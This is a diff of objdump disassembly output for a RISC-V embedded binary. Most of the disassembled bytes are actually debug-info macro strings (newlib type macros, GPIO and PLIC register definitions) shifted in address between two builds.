-    7e4c:	615f 696c 6e67      	0x6e67696c615f
-    7e52:	7828                	flw	fa0,112(s0)
-    7e54:	2029                	jal	7e5e <__stack_size+0x765e>
-    7e56:	5f5f 7461 7274      	0x727474615f5f
-    7e5c:	6269                	lui	tp,0x1a
-    7e5e:	7475                	lui	s0,0xffffd
-    7e60:	5f65                	li	t5,-7
-    7e62:	285f 5f28 615f      	0x615f5f28285f
-    7e68:	6c6c                	flw	fa1,92(s0)
-    7e6a:	615f636f          	jal	t1,fec7e <__stack_size+0xfe47e>
-    7e6e:	696c                	flw	fa1,84(a0)
-    7e70:	5f5f6e67          	0x5f5f6e67
-    7e74:	7828                	flw	fa0,112(s0)
-    7e76:	2929                	jal	8290 <__stack_size+0x7a90>
-    7e78:	0029                	c.nop	10
-    7e7a:	545f 575f 4843      	0x4843575f545f
-    7e80:	5241                	li	tp,-16
-    7e82:	0020                	addi	s0,sp,8
-    7e84:	4e49                	li	t3,18
-    7e86:	5f54                	lw	a3,60(a4)
-    7e88:	4146                	lw	sp,80(sp)
-    7e8a:	32335453          	0x32335453
-    7e8e:	4d5f 4e49 2820      	0x28204e494d5f
-    7e94:	492d                	li	s2,11
-    7e96:	544e                	lw	s0,240(sp)
-    7e98:	465f 5341 3354      	0x33545341465f
-    7e9e:	5f32                	lw	t5,44(sp)
-    7ea0:	414d                	li	sp,19
-    7ea2:	2058                	fld	fa4,128(s0)
-    7ea4:	202d                	jal	7ece <__stack_size+0x76ce>
-    7ea6:	2931                	jal	82c2 <__stack_size+0x7ac2>
-    7ea8:	5f00                	lw	s0,56(a4)
-    7eaa:	5646                	lw	a2,112(sp)
-    7eac:	54495257          	0x54495257
-    7eb0:	5f45                	li	t5,-15
-    7eb2:	4e49                	li	t3,18
-    7eb4:	535f 5254 4145      	0x41455254535f
-    7eba:	494d                	li	s2,19
-    7ebc:	0031204f          	fnmadd.s	ft0,ft2,ft3,ft0,rdn
-    7ec0:	535f 5a49 5445      	0x54455a49535f
-    7ec6:	205f 5f00 4350      	0x43505f00205f
-    7ecc:	535f 4d59 494c      	0x494c4d59535f
-    7ed2:	4b4e                	lw	s6,208(sp)
-    7ed4:	4d5f 5841 3120      	0x312058414d5f
-    7eda:	0034                	addi	a3,sp,8
-    7edc:	5f5f 4e49 3854      	0x38544e495f5f
-    7ee2:	545f 5059 5f45      	0x5f455059545f
-    7ee8:	205f 6973 6e67      	0x6e676973205f
-    7eee:	6465                	lui	s0,0x19
-    7ef0:	6320                	flw	fs0,64(a4)
-    7ef2:	6168                	flw	fa0,68(a0)
-    7ef4:	0072                	c.slli	zero,0x1c
-    7ef6:	505f 5f43 4456      	0x44565f43505f
-    7efc:	5349                	li	t1,-14
-    7efe:	4241                	li	tp,16
-    7f00:	454c                	lw	a1,12(a0)
-    7f02:	3820                	fld	fs0,112(s0)
-    7f04:	5f00                	lw	s0,56(a4)
-    7f06:	475f 4343 485f      	0x485f4343475f
-    7f0c:	5641                	li	a2,-16
-    7f0e:	5f45                	li	t5,-15
-    7f10:	434e5953          	0x434e5953
-    7f14:	435f 4d4f 4150      	0x41504d4f435f
-    7f1a:	4552                	lw	a0,20(sp)
-    7f1c:	415f 444e 535f      	0x535f444e415f
-    7f22:	5f504157          	0x5f504157
-    7f26:	2034                	fld	fa3,64(s0)
-    7f28:	0031                	c.nop	12
-    7f2a:	4c50                	lw	a2,28(s0)
-    7f2c:	4349                	li	t1,18
-    7f2e:	455f 5f4e 464f      	0x464f5f4e455f
-    7f34:	5346                	lw	t1,112(sp)
-    7f36:	5445                	li	s0,-15
-    7f38:	3020                	fld	fs0,96(s0)
-    7f3a:	3278                	fld	fa4,224(a2)
-    7f3c:	3030                	fld	fa2,96(s0)
-    7f3e:	0030                	addi	a2,sp,8
-    7f40:	5f5f 6968 6464      	0x646469685f5f
-    7f46:	6e65                	lui	t3,0x19
-    7f48:	5f20                	lw	s0,120(a4)
-    7f4a:	615f 7474 6972      	0x69727474615f
-    7f50:	7562                	flw	fa0,56(sp)
-    7f52:	6574                	flw	fa3,76(a0)
-    7f54:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    7f5a:	6976                	flw	fs2,92(sp)
-    7f5c:	69626973          	csrrsi	s2,0x696,4
-    7f60:	696c                	flw	fa1,84(a0)
-    7f62:	7974                	flw	fa3,116(a0)
-    7f64:	5f5f 2228 6968      	0x696822285f5f
-    7f6a:	6464                	flw	fs1,76(s0)
-    7f6c:	6e65                	lui	t3,0x19
-    7f6e:	2922                	fld	fs2,8(sp)
-    7f70:	2929                	jal	838a <__stack_size+0x7b8a>
-    7f72:	6600                	flw	fs0,8(a2)
-    7f74:	6f72                	flw	ft10,28(sp)
-    7f76:	6570                	flw	fa2,76(a0)
-    7f78:	286e                	fld	fa6,216(sp)
-    7f7a:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
-    7f80:	6569                	lui	a0,0x1a
-    7f82:	5f2c                	lw	a1,120(a4)
-    7f84:	665f 296e 6620      	0x6620296e665f
-    7f8a:	6e75                	lui	t3,0x1d
-    7f8c:	6e65706f          	j	5f672 <__stack_size+0x5ee72>
-    7f90:	5f28                	lw	a0,120(a4)
-    7f92:	635f 6f6f 696b      	0x696b6f6f635f
-    7f98:	2c65                	jal	8250 <__stack_size+0x7a50>
-    7f9a:	5f20                	lw	s0,120(a4)
-    7f9c:	665f 2c6e 2820      	0x28202c6e665f
-    7fa2:	6e69                	lui	t3,0x1a
-    7fa4:	2074                	fld	fa3,192(s0)
-    7fa6:	2a28                	fld	fa0,80(a2)
-    7fa8:	2829                	jal	7fc2 <__stack_size+0x77c2>
-    7faa:	2929                	jal	83c4 <__stack_size+0x7bc4>
-    7fac:	2c30                	fld	fa2,88(s0)
-    7fae:	2820                	fld	fs0,80(s0)
-    7fb0:	7066                	flw	ft0,120(sp)
-    7fb2:	745f736f          	jal	t1,ffef6 <__stack_size+0xff6f6>
-    7fb6:	2820                	fld	fs0,80(s0)
-    7fb8:	292a                	fld	fs2,136(sp)
-    7fba:	2928                	fld	fa0,80(a0)
-    7fbc:	3029                	jal	77c6 <__stack_size+0x6fc6>
-    7fbe:	202c                	fld	fa1,64(s0)
-    7fc0:	6928                	flw	fa0,80(a0)
-    7fc2:	746e                	flw	fs0,248(sp)
-    7fc4:	2820                	fld	fs0,80(s0)
-    7fc6:	292a                	fld	fs2,136(sp)
-    7fc8:	2928                	fld	fa0,80(a0)
-    7fca:	3029                	jal	77d4 <__stack_size+0x6fd4>
-    7fcc:	0029                	c.nop	10
-    7fce:	535f 4454 4544      	0x45444454535f
-    7fd4:	5f46                	lw	t5,112(sp)
-    7fd6:	5f48                	lw	a0,60(a4)
-    7fd8:	0020                	addi	s0,sp,8
-    7fda:	5f58                	lw	a4,60(a4)
-    7fdc:	31204b4f          	fnmadd.s	fs6,ft0,fs2,ft6,rmm
-    7fe0:	5f00                	lw	s0,56(a4)
-    7fe2:	5441                	li	s0,-16
-    7fe4:	4946                	lw	s2,80(sp)
-    7fe6:	454c                	lw	a1,12(a0)
-    7fe8:	535f 554f 4352      	0x4352554f535f
-    7fee:	2045                	jal	808e <__stack_size+0x788e>
-    7ff0:	0031                	c.nop	12
-    7ff2:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    7ff6:	425f 5341 2045      	0x20455341425f
-    7ffc:	7830                	flw	fa2,112(s0)
-    7ffe:	3031                	jal	780a <__stack_size+0x700a>
-    8000:	3130                	fld	fa2,96(a0)
-    8002:	3032                	fld	ft0,296(sp)
-    8004:	3030                	fld	fa2,96(s0)
-    8006:	5f00                	lw	s0,56(a4)
-    8008:	735f 6966 656c      	0x656c6966735f
+    7c74:	5f00                	lw	s0,56(a4)
+    7c76:	475f 554e 4c43      	0x4c43554e475f
+    7c7c:	4b49                	li	s6,18
+    7c7e:	5f45                	li	t5,-15
+    7c80:	5542                	lw	a0,48(sp)
+    7c82:	4c49                	li	s8,18
+    7c84:	4954                	lw	a3,20(a0)
+    7c86:	5f4e                	lw	t5,240(sp)
+    7c88:	4156                	lw	sp,84(sp)
+    7c8a:	4c41                	li	s8,16
+    7c8c:	5349                	li	t1,-14
+    7c8e:	2054                	fld	fa3,128(s0)
+    7c90:	0031                	c.nop	12
+    7c92:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    7c98:	575f 4449 4854      	0x48544449575f
+    7c9e:	5f5f 3320 0032      	0x3233205f5f
+    7ca4:	525f 4545 544e      	0x544e4545525f
+    7caa:	4d5f 5f50 5246      	0x52465f504d5f
+    7cb0:	4545                	li	a0,17
+    7cb2:	494c                	lw	a1,20(a0)
+    7cb4:	70285453          	0x70285453
+    7cb8:	7274                	flw	fa3,100(a2)
+    7cba:	2029                	jal	7cc4 <__stack_size+0x74c4>
+    7cbc:	2828                	fld	fa0,80(s0)
+    7cbe:	7470                	flw	fa2,108(s0)
+    7cc0:	2972                	fld	fs2,280(sp)
+    7cc2:	3e2d                	jal	77fc <__stack_size+0x6ffc>
+    7cc4:	665f 6572 6c65      	0x6c656572665f
+    7cca:	7369                	lui	t1,0xffffa
+    7ccc:	2974                	fld	fa3,208(a0)
+    7cce:	5f00                	lw	s0,56(a4)
+    7cd0:	4f5f 5450 4d49      	0x4d4954504f5f
+    7cd6:	5a49                	li	s4,-14
+    7cd8:	5f45                	li	t5,-15
+    7cda:	205f 0031 5f5f      	0x5f5f0031205f
+    7ce0:	6e676973          	csrrsi	s2,0x6e6,14
+    7ce4:	6465                	lui	s0,0x19
+    7ce6:	7320                	flw	fs0,96(a4)
+    7ce8:	6769                	lui	a4,0x1a
+    7cea:	656e                	flw	fa0,216(sp)
+    7cec:	0064                	addi	s1,sp,12
+    7cee:	5f5f 5353 5f50      	0x5f5053535f5f
+    7cf4:	4f46                	lw	t5,80(sp)
+    7cf6:	5452                	lw	s0,52(sp)
+    7cf8:	4649                	li	a2,18
+    7cfa:	5f59                	li	t5,-10
+    7cfc:	454c                	lw	a1,12(a0)
+    7cfe:	4556                	lw	a0,84(sp)
+    7d00:	204c                	fld	fa1,128(s0)
+    7d02:	0030                	addi	a2,sp,8
+    7d04:	535f 5359 465f      	0x465f5359535f
+    7d0a:	4145                	li	sp,17
+    7d0c:	5554                	lw	a3,44(a0)
+    7d0e:	4552                	lw	a0,20(sp)
+    7d10:	20485f53          	0x20485f53
+    7d14:	5f00                	lw	s0,56(a4)
+    7d16:	495f 544e 465f      	0x465f544e495f
+    7d1c:	5341                	li	t1,-16
+    7d1e:	3854                	fld	fa3,176(s0)
+    7d20:	575f 4449 4854      	0x48544449575f
+    7d26:	5f5f 3320 0032      	0x3233205f5f
+    7d2c:	535f 5f43 4258      	0x42585f43535f
+    7d32:	4c5f3553          	0x4c5f3553
+    7d36:	3650                	fld	fa2,168(a2)
+    7d38:	5f34                	lw	a3,120(a4)
+    7d3a:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    7d3e:	2034                	fld	fa3,64(s0)
+    7d40:	535f 5f43 3756      	0x37565f43535f
+    7d46:	4c5f 3650 5f34      	0x5f3436504c5f
+    7d4c:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    7d50:	0034                	addi	a3,sp,8
+    7d52:	424d                	li	tp,19
+    7d54:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
+    7d5a:	5841                	li	a6,-16
+    7d5c:	5f20                	lw	s0,120(a4)
+    7d5e:	424d                	li	tp,19
+    7d60:	4c5f 4e45 4d5f      	0x4d5f4e454c5f
+    7d66:	5841                	li	a6,-16
+    7d68:	5000                	lw	s0,32(s0)
+    7d6a:	5254                	lw	a3,36(a2)
+    7d6c:	4944                	lw	s1,20(a0)
+    7d6e:	4646                	lw	a2,80(sp)
+    7d70:	4d5f 4e49 5f00      	0x5f004e494d5f
+    7d76:	545f4353          	0x545f4353
+    7d7a:	5248                	lw	a0,36(a2)
+    7d7c:	4145                	li	sp,17
+    7d7e:	5f44                	lw	s1,60(a4)
+    7d80:	5250                	lw	a2,36(a2)
+    7d82:	5345434f          	fnmadd.d	ft6,fa0,fs4,fa0,rmm
+    7d86:	48535f53          	0x48535f53
+    7d8a:	5241                	li	tp,-16
+    7d8c:	4445                	li	s0,17
+    7d8e:	3420                	fld	fs0,104(s0)
+    7d90:	0038                	addi	a4,sp,8
+    7d92:	535f 5f43 5f32      	0x5f325f43535f
+    7d98:	4556                	lw	a0,84(sp)
+    7d9a:	5352                	lw	t1,52(sp)
+    7d9c:	4f49                	li	t5,18
+    7d9e:	204e                	fld	ft0,208(sp)
+    7da0:	3231                	jal	76ac <__stack_size+0x6eac>
+    7da2:	0031                	c.nop	12
+    7da4:	535f 5f43 4854      	0x48545f43535f
+    7daa:	4552                	lw	a0,20(sp)
+    7dac:	4441                	li	s0,16
+    7dae:	525f 424f 5355      	0x5355424f525f
+    7db4:	5f54                	lw	a3,60(a4)
+    7db6:	5250                	lw	a2,36(a2)
+    7db8:	4f49                	li	t5,18
+    7dba:	495f 484e 5245      	0x5245484e495f
+    7dc0:	5449                	li	s0,-14
+    7dc2:	3120                	fld	fs0,96(a0)
+    7dc4:	3232                	fld	ft4,296(sp)
+    7dc6:	5f00                	lw	s0,56(a4)
+    7dc8:	725f 7365 7274      	0x72747365725f
+    7dce:	6369                	lui	t1,0x1a
+    7dd0:	2074                	fld	fa3,192(s0)
+    7dd2:	6572                	flw	fa0,28(sp)
+    7dd4:	69727473          	csrrci	s0,0x697,4
+    7dd8:	46007463          	bgeu	zero,zero,8240 <__stack_size+0x7a40>
+    7ddc:	5254                	lw	a3,36(a2)
+    7dde:	4e55                	li	t3,21
+    7de0:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
+    7de4:	5254                	lw	a3,36(a2)
+    7de6:	4e55                	li	t3,21
+    7de8:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
+    7dec:	5f75                	li	t5,-3
+    7dee:	726f6873          	csrrsi	a6,0x726,30
+    7df2:	5f74                	lw	a3,124(a4)
+    7df4:	6564                	flw	fs1,76(a0)
+    7df6:	6966                	flw	fs2,88(sp)
+    7df8:	656e                	flw	fa0,216(sp)
+    7dfa:	2064                	fld	fs1,192(s0)
+    7dfc:	5500                	lw	s0,40(a0)
+    7dfe:	4e49                	li	t3,18
+    7e00:	3354                	fld	fa3,160(a4)
+    7e02:	5f32                	lw	t5,44(sp)
+    7e04:	414d                	li	sp,19
+    7e06:	2058                	fld	fa4,128(s0)
+    7e08:	5f5f 4955 544e      	0x544e49555f5f
+    7e0e:	4d5f3233          	0x4d5f3233
+    7e12:	5841                	li	a6,-16
+    7e14:	5f5f 5f00 4f5f      	0x4f5f5f005f5f
+    7e1a:	5450                	lw	a2,44(s0)
+    7e1c:	4d49                	li	s10,18
+    7e1e:	5a49                	li	s4,-14
+    7e20:	5f45                	li	t5,-15
+    7e22:	455a4953          	0x455a4953
+    7e26:	5f5f 3120 5f00      	0x5f0031205f5f
+    7e2c:	6e5f 6565 5f64      	0x5f6465656e5f
+    7e32:	61686377          	0x61686377
+    7e36:	5f72                	lw	t5,60(sp)
+    7e38:	2074                	fld	fa3,192(s0)
+    7e3a:	5f00                	lw	s0,56(a4)
+    7e3c:	735f 7a69 5f65      	0x5f657a69735f
+    7e42:	0074                	addi	a3,sp,12
+    7e44:	4955                	li	s2,21
+    7e46:	544e                	lw	s0,240(sp)
+    7e48:	4c5f 4145 5453      	0x545341454c5f
+    7e4e:	4d5f3233          	0x4d5f3233
+    7e52:	5841                	li	a6,-16
+    7e54:	5f20                	lw	s0,120(a4)
+    7e56:	555f 4e49 5f54      	0x5f544e49555f
+    7e5c:	454c                	lw	a1,12(a0)
+    7e5e:	5341                	li	t1,-16
+    7e60:	3354                	fld	fa3,160(a4)
+    7e62:	5f32                	lw	t5,44(sp)
+    7e64:	414d                	li	sp,19
+    7e66:	5f58                	lw	a4,60(a4)
+    7e68:	005f 5f5f 6f6e      	0x6f6e5f5f005f
+    7e6e:	6e6e                	flw	ft8,216(sp)
+    7e70:	6c75                	lui	s8,0x1d
+    7e72:	5f6c                	lw	a1,124(a4)
+    7e74:	6c61                	lui	s8,0x18
+    7e76:	206c                	fld	fa1,192(s0)
+    7e78:	5f5f 7461 7274      	0x727474615f5f
+    7e7e:	6269                	lui	tp,0x1a
+    7e80:	7475                	lui	s0,0xffffd
+    7e82:	5f65                	li	t5,-7
+    7e84:	285f 5f28 6e5f      	0x6e5f5f28285f
+    7e8a:	756e6e6f          	jal	t3,ee5e0 <__stack_size+0xedde0>
+    7e8e:	6c6c                	flw	fa1,92(s0)
+    7e90:	5f5f 2929 4600      	0x460029295f5f
+    7e96:	555f 4c4e 534b      	0x534b4c4e555f
+    7e9c:	5359                	li	t1,-10
+    7e9e:	3420                	fld	fs0,104(s0)
+    7ea0:	4700                	lw	s0,8(a4)
+    7ea2:	4950                	lw	a2,20(a0)
+    7ea4:	554f5f4f          	0x554f5f4f
+    7ea8:	5054                	lw	a3,36(s0)
+    7eaa:	5455                	li	s0,-11
+    7eac:	455f 204e 7830      	0x7830204e455f
+    7eb2:	3830                	fld	fa2,112(s0)
+    7eb4:	5f00                	lw	s0,56(a4)
+    7eb6:	415f 4f54 494d      	0x494d4f54415f
+    7ebc:	43415f43          	fmadd.d	ft10,ft2,fs4,fs0,unknown
+    7ec0:	5f51                	li	t5,-12
+    7ec2:	4552                	lw	a0,20(sp)
+    7ec4:	204c                	fld	fa1,128(s0)
+    7ec6:	0034                	addi	a3,sp,8
+    7ec8:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
+    7ece:	6c615f63          	bge	sp,t1,85ac <__stack_size+0x7dac>
+    7ed2:	6769                	lui	a4,0x1a
+    7ed4:	286e                	fld	fa6,216(sp)
+    7ed6:	2978                	fld	fa4,208(a0)
+    7ed8:	5f20                	lw	s0,120(a4)
+    7eda:	615f 7474 6972      	0x69727474615f
+    7ee0:	7562                	flw	fa0,56(sp)
+    7ee2:	6574                	flw	fa3,76(a0)
+    7ee4:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    7eea:	6c61                	lui	s8,0x18
+    7eec:	6f6c                	flw	fa1,92(a4)
+    7eee:	6c615f63          	bge	sp,t1,85cc <__stack_size+0x7dcc>
+    7ef2:	6769                	lui	a4,0x1a
+    7ef4:	5f6e                	lw	t5,248(sp)
+    7ef6:	285f 2978 2929      	0x29292978285f
+    7efc:	5f00                	lw	s0,56(a4)
+    7efe:	5f54                	lw	a3,60(a4)
+    7f00:	41484357          	0x41484357
+    7f04:	2052                	fld	ft0,272(sp)
+    7f06:	4900                	lw	s0,16(a0)
+    7f08:	544e                	lw	s0,240(sp)
+    7f0a:	465f 5341 3354      	0x33545341465f
+    7f10:	5f32                	lw	t5,44(sp)
+    7f12:	494d                	li	s2,19
+    7f14:	204e                	fld	ft0,208(sp)
+    7f16:	2d28                	fld	fa0,88(a0)
+    7f18:	4e49                	li	t3,18
+    7f1a:	5f54                	lw	a3,60(a4)
+    7f1c:	4146                	lw	sp,80(sp)
+    7f1e:	32335453          	0x32335453
+    7f22:	4d5f 5841 2d20      	0x2d2058414d5f
+    7f28:	3120                	fld	fs0,96(a0)
+    7f2a:	0029                	c.nop	10
+    7f2c:	465f 5756 4952      	0x49525756465f
+    7f32:	4554                	lw	a3,12(a0)
+    7f34:	495f 5f4e 5453      	0x54535f4e495f
+    7f3a:	4552                	lw	a0,20(sp)
+    7f3c:	4d41                	li	s10,16
+    7f3e:	4f49                	li	t5,18
+    7f40:	3120                	fld	fs0,96(a0)
+    7f42:	5f00                	lw	s0,56(a4)
+    7f44:	455a4953          	0x455a4953
+    7f48:	5f54                	lw	a3,60(a4)
+    7f4a:	0020                	addi	s0,sp,8
+    7f4c:	505f 5f43 5953      	0x59535f43505f
+    7f52:	4c4d                	li	s8,19
+    7f54:	4e49                	li	t3,18
+    7f56:	414d5f4b          	fnmsub.s	ft10,fs10,fs4,fs0,unknown
+    7f5a:	2058                	fld	fa4,128(s0)
+    7f5c:	3431                	jal	7968 <__stack_size+0x7168>
+    7f5e:	5f00                	lw	s0,56(a4)
+    7f60:	495f 544e 5f38      	0x5f38544e495f
+    7f66:	5954                	lw	a3,52(a0)
+    7f68:	4550                	lw	a2,12(a0)
+    7f6a:	5f5f 7320 6769      	0x676973205f5f
+    7f70:	656e                	flw	fa0,216(sp)
+    7f72:	2064                	fld	fs1,192(s0)
+    7f74:	72616863          	bltu	sp,t1,86a4 <__stack_size+0x7ea4>
+    7f78:	5f00                	lw	s0,56(a4)
+    7f7a:	4350                	lw	a2,4(a4)
+    7f7c:	565f 4944 4153      	0x41534944565f
+    7f82:	4c42                	lw	s8,16(sp)
+    7f84:	2045                	jal	8024 <__stack_size+0x7824>
+    7f86:	0038                	addi	a4,sp,8
+    7f88:	5f5f 4347 5f43      	0x5f4343475f5f
+    7f8e:	4148                	lw	a0,4(a0)
+    7f90:	4556                	lw	a0,84(sp)
+    7f92:	535f 4e59 5f43      	0x5f434e59535f
+    7f98:	504d4f43          	fmadd.s	ft10,fs10,ft4,fa0,rmm
+    7f9c:	5241                	li	tp,-16
+    7f9e:	5f45                	li	t5,-15
+    7fa0:	4e41                	li	t3,16
+    7fa2:	5f44                	lw	s1,60(a4)
+    7fa4:	50415753          	0x50415753
+    7fa8:	345f 3120 5000      	0x50003120345f
+    7fae:	494c                	lw	a1,20(a0)
+    7fb0:	4e455f43          	fmadd.q	ft10,fa0,ft4,fs1,unknown
+    7fb4:	4f5f 4646 4553      	0x455346464f5f
+    7fba:	2054                	fld	fa3,128(s0)
+    7fbc:	7830                	flw	fa2,112(s0)
+    7fbe:	3032                	fld	ft0,296(sp)
+    7fc0:	3030                	fld	fa2,96(s0)
+    7fc2:	5f00                	lw	s0,56(a4)
+    7fc4:	685f 6469 6564      	0x65646469685f
+    7fca:	206e                	fld	ft0,216(sp)
+    7fcc:	5f5f 7461 7274      	0x727474615f5f
+    7fd2:	6269                	lui	tp,0x1a
+    7fd4:	7475                	lui	s0,0xffffd
+    7fd6:	5f65                	li	t5,-7
+    7fd8:	285f 5f28 765f      	0x765f5f28285f
+    7fde:	7369                	lui	t1,0xffffa
+    7fe0:	6269                	lui	tp,0x1a
+    7fe2:	6c69                	lui	s8,0x1a
+    7fe4:	7469                	lui	s0,0xffffa
+    7fe6:	5f79                	li	t5,-2
+    7fe8:	285f 6822 6469      	0x64696822285f
+    7fee:	6564                	flw	fs1,76(a0)
+    7ff0:	226e                	fld	ft4,216(sp)
+    7ff2:	2929                	jal	840c <__stack_size+0x7c0c>
+    7ff4:	0029                	c.nop	10
+    7ff6:	7266                	flw	ft4,120(sp)
+    7ff8:	6e65706f          	j	5f6de <__stack_size+0x5eede>
+    7ffc:	5f28                	lw	a0,120(a4)
+    7ffe:	635f 6f6f 696b      	0x696b6f6f635f
+    8004:	2c65                	jal	82bc <__stack_size+0x7abc>
+    8006:	5f5f 6e66 2029      	0x20296e665f5f
+    800c:	7566                	flw	fa0,120(sp)
     800e:	6f6e                	flw	ft10,216(sp)
-    8010:	7028                	flw	fa0,96(s0)
-    8012:	2029                	jal	801c <__stack_size+0x781c>
-    8014:	2828                	fld	fa0,80(s0)
-    8016:	2970                	fld	fa2,208(a0)
-    8018:	3e2d                	jal	7b52 <__stack_size+0x7352>
-    801a:	665f 6c69 2965      	0x29656c69665f
-    8020:	4300                	lw	s0,0(a4)
-    8022:	4948                	lw	a0,20(a0)
-    8024:	444c                	lw	a1,12(s0)
-    8026:	4d5f 5841 3420      	0x342058414d5f
-    802c:	0030                	addi	a2,sp,8
-    802e:	5f5f 4e47 4355      	0x43554e475f5f
-    8034:	505f 4552 4552      	0x45524552505f
-    803a:	5f51                	li	t5,-12
-    803c:	285f 616d 6d2c      	0x6d2c616d285f
-    8042:	2969                	jal	84dc <__stack_size+0x7cdc>
-    8044:	5f20                	lw	s0,120(a4)
-    8046:	475f 554e 5f43      	0x5f43554e475f
-    804c:	5250                	lw	a2,36(a2)
-    804e:	5245                	li	tp,-15
-    8050:	5145                	li	sp,-15
-    8052:	6d28                	flw	fa0,88(a0)
-    8054:	2c61                	jal	82ec <__stack_size+0x7aec>
-    8056:	6d20                	flw	fs0,88(a0)
-    8058:	2969                	jal	84f2 <__stack_size+0x7cf2>
-    805a:	5f00                	lw	s0,56(a4)
-    805c:	4c45                	li	s8,17
-    805e:	4449                	li	s0,18
-    8060:	4241                	li	tp,16
-    8062:	454c                	lw	a1,12(a0)
-    8064:	495f 4c4e 4e49      	0x4e494c4e495f
-    806a:	2045                	jal	810a <__stack_size+0x790a>
-    806c:	74617473          	csrrci	s0,0x746,2
-    8070:	6369                	lui	t1,0x1a
-    8072:	5f20                	lw	s0,120(a4)
-    8074:	695f 6c6e 6e69      	0x6e696c6e695f
-    807a:	5f65                	li	t5,-7
-    807c:	005f 5f5f 7468      	0x74685f5f005f
-    8082:	286c6e6f          	jal	t3,ce308 <__stack_size+0xcdb08>
-    8086:	785f 2029 5f5f      	0x5f5f2029785f
-    808c:	7362                	flw	ft6,56(sp)
-    808e:	33706177          	0x33706177
-    8092:	2832                	fld	fa6,264(sp)
-    8094:	785f 0029 535f      	0x535f0029785f
-    809a:	5359                	li	t1,-10
-    809c:	5f5f 5450 5248      	0x524854505f5f
-    80a2:	4145                	li	sp,17
-    80a4:	5444                	lw	s1,44(s0)
-    80a6:	5059                	c.li	zero,-10
-    80a8:	5345                	li	t1,-15
-    80aa:	485f 205f 5f00      	0x5f00205f485f
-    80b0:	465f 544c 3436      	0x3436544c465f
-    80b6:	4d5f 4e49 455f      	0x455f4e494d5f
-    80bc:	5058                	lw	a4,36(s0)
-    80be:	5f5f 2820 312d      	0x312d28205f5f
-    80c4:	3230                	fld	fa2,96(a2)
-    80c6:	2931                	jal	84e2 <__stack_size+0x7ce2>
-    80c8:	5f00                	lw	s0,56(a4)
-    80ca:	495f 544e 465f      	0x465f544e495f
-    80d0:	5341                	li	t1,-16
-    80d2:	3354                	fld	fa3,160(a4)
-    80d4:	5f32                	lw	t5,44(sp)
-    80d6:	5954                	lw	a3,52(a0)
-    80d8:	4550                	lw	a2,12(a0)
-    80da:	5f5f 6920 746e      	0x746e69205f5f
-    80e0:	5500                	lw	s0,40(a0)
-    80e2:	5241                	li	tp,-16
-    80e4:	5f54                	lw	a3,60(a4)
-    80e6:	4552                	lw	a0,20(sp)
-    80e8:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    80ec:	7366                	flw	ft6,120(sp)
-    80ee:	7465                	lui	s0,0xffff9
-    80f0:	2029                	jal	80fa <__stack_size+0x78fa>
-    80f2:	525f 4745 3233      	0x32334745525f
-    80f8:	5528                	lw	a0,104(a0)
-    80fa:	5241                	li	tp,-16
-    80fc:	5f54                	lw	a3,60(a4)
-    80fe:	4142                	lw	sp,16(sp)
-    8100:	202c4553          	0x202c4553
-    8104:	7366666f          	jal	a2,6e83a <__stack_size+0x6e03a>
-    8108:	7465                	lui	s0,0xffff9
-    810a:	0029                	c.nop	10
-    810c:	535f 5f43 5254      	0x52545f43535f
-    8112:	4341                	li	t1,16
-    8114:	5f45                	li	t5,-15
-    8116:	414e                	lw	sp,208(sp)
-    8118:	454d                	li	a0,19
-    811a:	4d5f 5841 3820      	0x382058414d5f
-    8120:	0038                	addi	a4,sp,8
-    8122:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    8126:	505f534b          	fnmsub.s	ft6,ft10,ft5,fa0,unknown
-    812a:	5245                	li	tp,-15
-    812c:	535f 4345 5f20      	0x5f204345535f
-    8132:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
-    8136:	505f534b          	fnmsub.s	ft6,ft10,ft5,fa0,unknown
-    813a:	5245                	li	tp,-15
-    813c:	535f 4345 005f      	0x5f4345535f
-    8142:	41484353          	0x41484353
-    8146:	5f52                	lw	t5,52(sp)
-    8148:	494d                	li	s2,19
-    814a:	004e                	c.slli	zero,0x13
-    814c:	4e5f 6c75 616c      	0x616c6c754e5f
-    8152:	6c62                	flw	fs8,24(sp)
-    8154:	2065                	jal	81fc <__stack_size+0x79fc>
-    8156:	6600                	flw	fs0,8(a2)
-    8158:	65706f77          	0x65706f77
-    815c:	286e                	fld	fa6,216(sp)
-    815e:	5f5f 6f63 6b6f      	0x6b6f6f635f5f
-    8164:	6569                	lui	a0,0x1a
-    8166:	5f2c                	lw	a1,120(a4)
-    8168:	665f 296e 6620      	0x6620296e665f
-    816e:	6e75                	lui	t3,0x1d
-    8170:	6e65706f          	j	5f856 <__stack_size+0x5f056>
-    8174:	5f28                	lw	a0,120(a4)
-    8176:	635f 6f6f 696b      	0x696b6f6f635f
-    817c:	2c65                	jal	8434 <__stack_size+0x7c34>
-    817e:	2820                	fld	fs0,80(s0)
-    8180:	6e69                	lui	t3,0x1a
-    8182:	2074                	fld	fa3,192(s0)
-    8184:	2a28                	fld	fa0,80(a2)
-    8186:	2829                	jal	81a0 <__stack_size+0x79a0>
-    8188:	2929                	jal	85a2 <__stack_size+0x7da2>
-    818a:	2c30                	fld	fa2,88(s0)
-    818c:	5f20                	lw	s0,120(a4)
-    818e:	665f 2c6e 2820      	0x28202c6e665f
-    8194:	7066                	flw	ft0,120(sp)
-    8196:	745f736f          	jal	t1,1000da <__stack_size+0xff8da>
-    819a:	2820                	fld	fs0,80(s0)
-    819c:	292a                	fld	fs2,136(sp)
-    819e:	2928                	fld	fa0,80(a0)
-    81a0:	3029                	jal	79aa <__stack_size+0x71aa>
-    81a2:	202c                	fld	fa1,64(s0)
-    81a4:	6928                	flw	fa0,80(a0)
-    81a6:	746e                	flw	fs0,248(sp)
-    81a8:	2820                	fld	fs0,80(s0)
-    81aa:	292a                	fld	fs2,136(sp)
-    81ac:	2928                	fld	fa0,80(a0)
